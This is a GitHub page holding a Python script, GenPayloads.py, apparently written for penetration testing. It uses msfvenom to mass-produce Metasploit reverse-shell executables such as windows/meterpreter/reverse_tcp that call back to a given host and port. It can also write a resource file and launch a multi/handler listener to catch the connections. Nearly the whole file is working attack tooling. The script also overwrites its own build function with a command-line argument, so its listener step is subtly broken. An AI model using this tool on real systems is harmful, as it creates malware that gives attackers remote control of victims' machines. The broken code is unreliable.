forked from obscuresec/random
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathGenPayloads.py
67 lines (60 loc) · 2.12 KB
/
GenPayloads.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python
#
# GenPayloads.py
# Simple python script to generate a number of metasploit payload binaries and then optionally start a handler for testing
# ex: python GenPayloads.py windows/meterpreter/reverse_tcp 192.168.1.2 443 100 no
#
# by Chris Campbell (obscuresec)
# original idea from Skip Duckwall (passingthehash)
import sys
import subprocess
from multiprocessing import Pool
#write a resource file and call it
def build(payload,lhost,lport):
try:
options = "use multi/handler\n"
options += "set payload {0}\n".format(payload)
options += "set LHOST {0}\nset LPORT {1}\n".format(lhost,lport)
options += "set ExitOnSession false\n"
options += "exploit -j\n"
filewrite = file("listener.rc", "w")
filewrite.write(options)
filewrite.close()
subprocess.Popen("msfconsole -r listener.rc", shell=True).wait()
except:
return '*error*'
#generate payloads with msfvenom
def generate(command):
try:
print 'Running...', command
subprocess.Popen(command, shell=True).wait()
except:
return '*error*'
#use multiprocessing to safely thread 15 processes
def multi(payload,lhost,lport,num):
try:
commands = []
for x in range(0, int(num)):
venom = "msfvenom -p {0} LHOST={1} LPORT={2} -f exe > payload_{3}_{4}".format(payload,lhost,lport,lport,x)
commands.append(venom)
pool = Pool(processes=15)
run = pool.map(generate, commands)
pool.close()
print 'Completed generating payloads.'
except:
return '*error*'
if __name__ == '__main__':
#grab args
try:
payload = sys.argv[1]
lhost = sys.argv[2]
lport = sys.argv[3]
num = sys.argv[4]
build = sys.argv[5]
multi(payload,lhost,lport,num)
if sys.argv[5] == 'yes':
build(payload,lhost,lport)
#index error
except IndexError:
print "python GenPayloads.py payload lhost lport number build"
print "ex: python GenPayloads.py windows/meterpreter/reverse_tcp 192.168.1.2 443 1000 yes"